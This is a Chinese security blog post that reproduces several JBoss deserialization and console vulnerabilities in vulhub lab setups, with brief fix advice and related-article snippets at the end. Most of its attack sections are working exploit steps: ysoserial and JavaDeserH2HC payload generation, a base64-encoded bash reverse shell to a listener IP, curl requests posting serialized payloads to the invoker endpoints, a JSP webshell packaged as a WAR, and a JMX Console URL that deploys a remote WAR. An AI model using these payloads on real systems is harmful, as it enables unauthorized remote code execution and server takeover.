<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    常見中間件——Jboss漏洞復現分析

    VSole2022-06-06 14:17:50

    JBoss漏洞復現分析


    JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)


    漏洞原理


    該漏洞位于JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。

    但有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,獲得服務器的控制權。

    環境:https://github.com/vulhub/vulhub

    訪問 /invoker/readonly 返回500,說明頁面存在,此頁面存在反序列化漏洞。



    使用工具JavaDeserH2HC(https://github.com/joaomatosf/JavaDeserH2HC)進行攻擊

    首先使用nc建立一個監聽,然后使用工具



    #生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
    #生成ReverseShellCommonsCollectionsHashMap.serjava -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽端口)
    #訪問利用 POST 二進制數據上去curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    



    直接獲取到root權限


    也可以使用常規Java反序列化漏洞測試方法來復現該漏洞

    首先bash -i >& /dev/tcp/192.168.111.128/8888 0>&1進行base64加密后反彈shell的命令

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

    使用ysoserial來復現生成序列化數據,利用鏈根據java版本選擇,vulnhub環境的java版本較高,所以使用CommonsCollections5

    使用nc監聽后按順序輸入以下命令



    java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
    curl http://192.168.111.128:8080/invoker/readonly --data-binary @poc.ser
    



    同樣能夠獲取權限


    修復建議:


    • 刪除http-invoker.sar組件,路徑如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

    • 更新JBoss



    JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)


    漏洞原理


    JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTPInvocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利用該漏洞執行任意代碼。

    環境:https://github.com/vulhub/vulhub

    該漏洞出現在/jbossmq-httpil/HTTPServerILServlet 請求中



    因為都是反序列化漏洞,攻擊時方式和之前一樣,先生成一個序列化數據,然后通過包發送,生成方式一樣。



    #生成ReverseShellCommonsCollectionsHashMap.classjavac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
    #生成ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc監聽端口)
    #訪問利用 curl http://127.0.0.1:8080/jbossmq-httpil/HTTPServerILServlet  --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    



    同樣的也可以使用常規Java反序列化漏洞測試方法來復現該漏洞

    具體方法和上面一樣

    使用nc監聽后按順序輸入以下命令



    java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
    curl http://192.168.111.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
    




    JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)


    漏洞原理


    這是經典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。



    影響版本


    • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10

    • JBoss AS (Wildly) 6 and earlier

    • JBoss A-MQ 6.2.0

    • JBoss Fuse 6.2.0

    • JBoss SOA Platform (SOA-P) 5.3.1

    • JBoss Data Grid (JDG) 6.5.0

    • JBoss BRMS (BRMS) 6.1.0

    • JBoss BPMS (BPMS) 6.1.0

    • JBoss Data Virtualization (JDV) 6.1.0

    • JBoss Fuse Service Works (FSW) 6.0.0

    • JBoss Enterprise Web Server (EWS) 2.1,3.


    環境:https://github.com/vulhub/vulhub

    訪問 /invoker/JMXInvokerServlet



    說明接口開放,此接口存在反序列化漏洞

    同樣這里直接利用CVE-2017-12149生成的ser,發送到 /invoker/JMXInvokerServlet接口中。



    curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    




    JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)


    影響版本


    • Jboss 6.x


    環境:https://github.com/vulhub/vulhub

    訪問 /invoker/EJBInvokerServlet



    說明接口開放,此接口存在反序列化漏洞

    同樣這里直接利用CVE-2017-12149生成的ser,發送到 /invoker/EJBInvokerServlet接口中。



    curl http://127.0.0.1:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    



    Administration Console 弱口令 && 后臺getshell漏洞


    環境:https://github.com/vulhub/vulhub

    在后臺管理控制臺爆破密碼http://127.0.0.1:8080/admin-console/index.seam



    登陸后臺后上傳war包,和tomcat的漏洞同理,寫好一個jsp木馬打包成war文件

    jar -cvf shell.war shell.jsp




    蟻劍連接http://127.0.0.1:8080/shell/shell.jsp



    修復建議


    1. 修改密碼 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

    2. 刪除Administration Console頁面。
    3. JBoss版本>=6.0,admin-console頁面路徑為:C:\jboss-6.1.0.Final\common\deploy\admin-console.war
    4. 6.0之前的版本,路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war



    JMX Console未授權訪問


    JMXConsole默認存在未授權訪問,直接點擊JBoss主頁中的JMXConsole鏈接進入JMXConsole頁面。

    http://127.0.0.1:8080/jmx-console/

    在JMXConsole頁面點擊jboss.system鏈接,在Jboss.system頁面中點擊service=MainDeploye



    進入service=MainDeployer頁面之后,找到methodIndex為17 or 19的deploy 填寫遠程war包地址進行遠程部署。



    (這里點了invoke會跳到500,所以我直接在url構造上傳war包)

    http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war



    顯示這樣就代表上傳成功



    修復建議


    • 增加密碼措施,防止未授權訪問。

    • 刪除JMXConsole,后重啟JBoss  C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

    針對Jboss反序列化網上已經有很多工具了,這里放出來給大家參考

    https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

    序列化jboss
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    干貨|最全的Jboss漏洞復現筆記
    JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。
    JBoss是一個基于J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,可以在任何商業應用中免費使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。由于JBoss遵循商業友好的LG
    該漏洞位于JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。 但有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,獲得服務器的控制權。
    0x03 單機信息搜集tasklist /svc命令將獲取到的進程列表與本地殺軟進程進行對比后發現存在:ZhuDongFangYu.exe、aliyundun.exe、aliyun_assist_service.exe等進程。netstat -ano命令下發現1433、3389是開著的,但由于這臺主機為內網,而且存在360主動防御,所以暫時無法實現文件落地、執行添加/修改用戶密碼、端口轉發等操作。
    接到一個緊急測試任務,只有一個目標名稱和一個ip。這樣的話webshell的url就無法正常訪問了)帶上cookie即可正常連接。連接成功后,為了穩定webshell,我們嘗試將webshell寫入到根目錄和靜態文件的目錄,但是仍會受到強制跳轉的影響。于是將webshell內容寫入到了在登陸前就能訪問的jsp正常文件中,來穩定shell。
    0x00 前言這次滲透測試是從一個CVE開始的,從CVE到內網然后到域控!首先對發現了該站點有JBoss頁面,經過測試發現具有JBoss序列化漏洞。使用網上提供的EXP和利用方法,在VPS上面獲取了一個shell。
    一次完整的滲透測試
    2021-11-19 15:35:41
    滲透測試中,Web端最常見的問題大多出現在弱口令、文件上傳、未授權、任意文件讀取、反序列化、模版漏洞等方面。因此,我們著重圍繞這些方面進行滲透。
    如何攻擊Java Web應用
    2021-08-23 11:06:00
    本文從黑盒滲透的角度,總結下Java Web應用所知道的一些可能被利用的入侵點。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类